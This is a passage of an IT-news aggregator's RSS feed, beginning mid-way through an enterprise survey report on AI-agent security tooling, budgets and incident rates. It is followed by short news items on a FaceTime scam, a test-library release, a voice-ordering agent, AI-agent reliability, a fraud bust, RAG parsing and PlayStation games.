14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
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<title><![CDATA[iPhone Users Beware: Scammers Are Using FaceTime to Steal Bank Info]]></title>
<description><![CDATA[Your bank is not going to use a video call to "verify" your password or other secure information.]]></description>
<link>https://tsecurity.de/de/3674335/it-nachrichten/iphone-users-beware-scammers-are-using-facetime-to-steal-bank-info/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674335/it-nachrichten/iphone-users-beware-scammers-are-using-facetime-to-steal-bank-info/</guid>
<pubDate>Thu, 16 Jul 2026 20:02:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Your bank is not going to use a video call to "verify" your password or other secure information.]]></content:encoded>
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<title><![CDATA[javascript: v0.5.3]]></title>
<description><![CDATA[0.5.3 (2026-07-16)
Features

add Claude Code agent adapter (#687) (8d642d4)
events: support LANGWATCH_PROJECT_ID via X-Project-Id header (#619) (7aec1c7)

Bug Fixes

#695: twilio terminal sentinel on silent/tool-only stop (dead-recv-loop hang) (#697) (e675224)
voice/#662: guard #662's response.cr...]]></description>
<link>https://tsecurity.de/de/3674078/it-security-tools/javascript-v053/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674078/it-security-tools/javascript-v053/</guid>
<pubDate>Thu, 16 Jul 2026 18:20:42 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/langwatch/scenario/compare/javascript/v0.5.2...javascript/v0.5.3">0.5.3</a> (2026-07-16)</h2>
<h3>Features</h3>
<ul>
<li>add Claude Code agent adapter (<a href="https://github.com/langwatch/scenario/issues/687" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/687/hovercard">#687</a>) (<a href="https://github.com/langwatch/scenario/commit/8d642d441c883327de8c9abd8ab0364b2667e7a8">8d642d4</a>)</li>
<li><strong>events:</strong> support LANGWATCH_PROJECT_ID via X-Project-Id header (<a href="https://github.com/langwatch/scenario/issues/619" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/619/hovercard">#619</a>) (<a href="https://github.com/langwatch/scenario/commit/7aec1c7c88a08ee4d732609fa480489e100f22e5">7aec1c7</a>)</li>
</ul>
<h3>Bug Fixes</h3>
<ul>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4710280252" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/695" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/695/hovercard" href="https://github.com/langwatch/scenario/issues/695">#695</a>:</strong> twilio terminal sentinel on silent/tool-only stop (dead-recv-loop hang) (<a href="https://github.com/langwatch/scenario/issues/697" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/697/hovercard">#697</a>) (<a href="https://github.com/langwatch/scenario/commit/e675224226974eeb69a0ddffee48d47cca35b77c">e675224</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4640224309" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/662" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/662/hovercard" href="https://github.com/langwatch/scenario/issues/662">#662</a>:</strong> guard <a href="https://github.com/langwatch/scenario/issues/662" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/662/hovercard">#662</a>'s response.create call sites against the active-response race (JS + PY) (<a href="https://github.com/langwatch/scenario/issues/669" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/669/hovercard">#669</a>) (<a href="https://github.com/langwatch/scenario/commit/0968374e2232af05cffd32b87c00e341511b2723">0968374</a>)</li>
</ul>
<h3>Miscellaneous</h3>
<ul>
<li><strong>lint:</strong> forbid non-null assertions in library src and gate it in CI (<a href="https://github.com/langwatch/scenario/issues/751" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/751/hovercard">#751</a>) (<a href="https://github.com/langwatch/scenario/issues/755" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/755/hovercard">#755</a>) (<a href="https://github.com/langwatch/scenario/commit/c8eeb5e33fc958702ba2c9778f9645964cfcb678">c8eeb5e</a>)</li>
</ul>]]></content:encoded>
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<title><![CDATA[Building a restaurant telephony AI host with Amazon Bedrock AgentCore and Amazon Nova 2 Sonic]]></title>
<description><![CDATA[In this post, we show you how to build a voice ordering system that answers a phone number and takes the order from greeting to confirmation. The system uses Amazon Bedrock AgentCore to host and run the agent and Amazon Nova 2 Sonic for real-time speech, connected to a restaurant backend through ...]]></description>
<link>https://tsecurity.de/de/3674076/ai-nachrichten/building-a-restaurant-telephony-ai-host-with-amazon-bedrock-agentcore-and-amazon-nova-2-sonic/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674076/ai-nachrichten/building-a-restaurant-telephony-ai-host-with-amazon-bedrock-agentcore-and-amazon-nova-2-sonic/</guid>
<pubDate>Thu, 16 Jul 2026 18:20:18 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post, we show you how to build a voice ordering system that answers a phone number and takes the order from greeting to confirmation. The system uses Amazon Bedrock AgentCore to host and run the agent and Amazon Nova 2 Sonic for real-time speech, connected to a restaurant backend through the Model Context Protocol (MCP). The walkthrough covers deploying the full stack with AWS Cloud Development Kit (AWS CDK) and bridging a phone call into the agent through a Session Initiation Protocol (SIP) gateway on Amazon Elastic Container Service (Amazon ECS) and AWS Fargate. It also warms the agent session while the phone is still ringing, so the caller never hears dead air.]]></content:encoded>
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<title><![CDATA[Amazon AGI director says AI agent reliability, not capability, is blocking enterprise deployment at VB Transform 2026]]></title>
<description><![CDATA[The enterprise AI industry has a math problem. Cisco data shows 85% of enterprises are piloting AI agents, but only 5% have shipped them to production. At VB Transform 2026 on Tuesday, Bryan Silverthorn, Director of AGI Autonomy at Amazon, explained why that gap persists — and why the answer isn'...]]></description>
<link>https://tsecurity.de/de/3674071/it-nachrichten/amazon-agi-director-says-ai-agent-reliability-not-capability-is-blocking-enterprise-deployment-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674071/it-nachrichten/amazon-agi-director-says-ai-agent-reliability-not-capability-is-blocking-enterprise-deployment-at-vb-transform-2026/</guid>
<pubDate>Thu, 16 Jul 2026 18:19:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The enterprise AI industry has a math problem. Cisco data shows <a href="https://venturebeat.com/security/85-of-enterprises-are-running-ai-agents-only-5-trust-them-enough-to-ship">85% of enterprises</a> are piloting AI agents, but only 5% have shipped them to production. At <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> on Tuesday, <a href="https://silverthorn.blog/">Bryan Silverthorn</a>, Director of AGI Autonomy at Amazon, explained why that gap persists — and why the answer isn't better benchmarks.</p><p>Silverthorn, who joined Amazon through its acquisition of Adept AI and now leads multimodal agent training inside the company's AGI lab, argued that reliability must be broken into four distinct dimensions: consistency, robustness, predictability, and safety — a framework he credits to research from Princeton.</p><p>"It unpacks different factors that I see tangled together in almost every eval I've ever seen," he said.</p><h2><b>Why AI agents pass internal evals but fail real customers in production</b></h2><p>The framework matters because agents routinely ace internal evaluations and then collapse in the wild. Silverthorn described a customer that deployed an agent for software QA involving serial number extraction from screens. It worked flawlessly for two months — then began intermittently reading wrong numbers. The culprit: the underlying vision encoder behaved differently depending on where the serial number appeared on screen, and a software change imperceptible to humans triggered the failure.</p><p>The lesson, Silverthorn said, is about measurement, not just models. "The models have to be better. Obviously, we're working hard on making the models better," he said. But the deeper takeaway, he added, is that teams need to identify their dimensions of variability and match measurement rigor to the stakes of the application. VentureBeat's own proprietary research, presented before the session, reinforces the point: half of surveyed companies shipped agents that passed internal evals but failed real customers, and enterprises overwhelmingly track uptime while ignoring accuracy — checking the pulse without checking the diagnosis. A related finding underscored how few guardrails exist: most enterprises default to the model makers' own evaluations and little else, leaving their testing strategy, as I described it on stage, a coin flip between trusting the vendor and trusting nothing.</p><h2><b>Inside Amazon's 'intern' framework for managing autonomous AI agents</b></h2><p>Silverthorn's most memorable prescription was cultural, not technical. Inside Amazon's AGI lab, researchers literally call their agents "interns" — as in, "I'll have my intern talk to your intern." The joke carries a serious operational philosophy. Agents, like interns, are powerful but occasionally clueless, capable of amazing work and spectacular derailment.</p><p>Managing them, he argued, requires management skills rather than software skills: asking what could go wrong, adding backups and undo capabilities, and consciously deciding what risk you can accept. "You can ask the intern, 'Hey, what might you do wrong here? How might you mitigate your negative outcomes?'" he said. Amazon's lab has embraced that trade-off, accepting agents occasionally running the wrong experiment in exchange for research velocity — including one agent running experiments around the clock on its own high-level research plan.</p><h2><b>What enterprise leaders should do before deploying agents at scale</b></h2><p>Silverthorn was candid about the limits of today's technology. Self-improving AI remains "a loaded term," he said — Amazon uses AI to improve its models constantly, but fully autonomous self-improvement is distant. Computer use remains a core focus of his lab, with a commercial trucking customer already using browser automation to stitch together warranty claims across fragmented systems**, though he stressed that no future agent will rely on computer use alone — it will work alongside MCP, APIs, and other tools to complete end-to-end workflows**. And LLM-as-judge techniques, while promising, are just one of several strategies for aligning agent capability with acceptable risk.</p><p>For enterprises stuck in pilot purgatory, the path forward starts with a mindset shift: stop asking whether your agent can do something impressive once, and start asking whether it can do it correctly a thousand times in a row.</p><p>In other words, the enterprises that escape the 85% ceiling won't be the ones with the smartest agents. They'll be the ones with the best managers.</p>]]></content:encoded>
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<title><![CDATA[Dutch Police Disrupt €100 Million Investment Fraud Network Operating 20 Call Centers]]></title>
<description><![CDATA[Dutch police have moved against a large investment-fraud operation that allegedly used a network of call centers to reach victims at scale. The case shows how organized fraud can borrow the speed, scripts, and customer-service appearance of a legitimate business…
Read more →
The post Dutch Police...]]></description>
<link>https://tsecurity.de/de/3673953/it-security-nachrichten/dutch-police-disrupt-100-million-investment-fraud-network-operating-20-call-centers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673953/it-security-nachrichten/dutch-police-disrupt-100-million-investment-fraud-network-operating-20-call-centers/</guid>
<pubDate>Thu, 16 Jul 2026 17:23:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Dutch police have moved against a large investment-fraud operation that allegedly used a network of call centers to reach victims at scale. The case shows how organized fraud can borrow the speed, scripts, and customer-service appearance of a legitimate business…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/dutch-police-disrupt-e100-million-investment-fraud-network-operating-20-call-centers/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/dutch-police-disrupt-e100-million-investment-fraud-network-operating-20-call-centers/">Dutch Police Disrupt €100 Million Investment Fraud Network Operating 20 Call Centers</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Context Engineering for RAG Question Parsing: From a Raw Question to Typed Fields That Steer Retrieval and Generation]]></title>
<description><![CDATA[Enterprise Document Intelligence [Vol.1 #6quater] - Question parsing takes one messy string and writes four typed pieces, each read by a different downstream call
The post Context Engineering for RAG Question Parsing: From a Raw Question to Typed Fields That Steer Retrieval and Generation appeare...]]></description>
<link>https://tsecurity.de/de/3673887/ai-nachrichten/context-engineering-for-rag-question-parsing-from-a-raw-question-to-typed-fields-that-steer-retrieval-and-generation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673887/ai-nachrichten/context-engineering-for-rag-question-parsing-from-a-raw-question-to-typed-fields-that-steer-retrieval-and-generation/</guid>
<pubDate>Thu, 16 Jul 2026 17:03:26 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise Document Intelligence [Vol.1 #6quater] - Question parsing takes one messy string and writes four typed pieces, each read by a different downstream call</p>
<p>The post <a href="https://towardsdatascience.com/context-engineering-for-rag-question-parsing-from-a-raw-question-to-typed-fields-that-steer-retrieval-and-generation/">Context Engineering for RAG Question Parsing: From a Raw Question to Typed Fields That Steer Retrieval and Generation</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
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<title><![CDATA[PlayStation Plus Extra & Premium: Diese Titel sind im Juli 2026 dabei]]></title>
<description><![CDATA[Die Juli-Titel für PlayStation Plus sind bereits gestartet: Für die Sommermonate gibt es neben Call of Duty: Modern Warfare III die beiden Titel For the King II und das RPG CrossCode. Diese stehen noch bis Anfang August zur Verfügung. Jetzt...Zum Beitrag: PlayStation Plus Extra & Premium: Diese T...]]></description>
<link>https://tsecurity.de/de/3673842/it-nachrichten/playstation-plus-extra-premium-diese-titel-sind-im-juli-2026-dabei/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673842/it-nachrichten/playstation-plus-extra-premium-diese-titel-sind-im-juli-2026-dabei/</guid>
<pubDate>Thu, 16 Jul 2026 16:47:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Die Juli-Titel für PlayStation Plus sind bereits gestartet: Für die Sommermonate gibt es neben Call of Duty: Modern Warfare III die beiden Titel For the King II und das RPG CrossCode. Diese stehen noch bis Anfang August zur Verfügung. Jetzt...<p>Zum Beitrag: <a href="https://stadt-bremerhaven.de/playstation-plus-extra-premium-diese-titel-sind-im-juli-2026-dabei/">PlayStation Plus Extra &amp; Premium: Diese Titel sind im Juli 2026 dabei</a>
</p><p>
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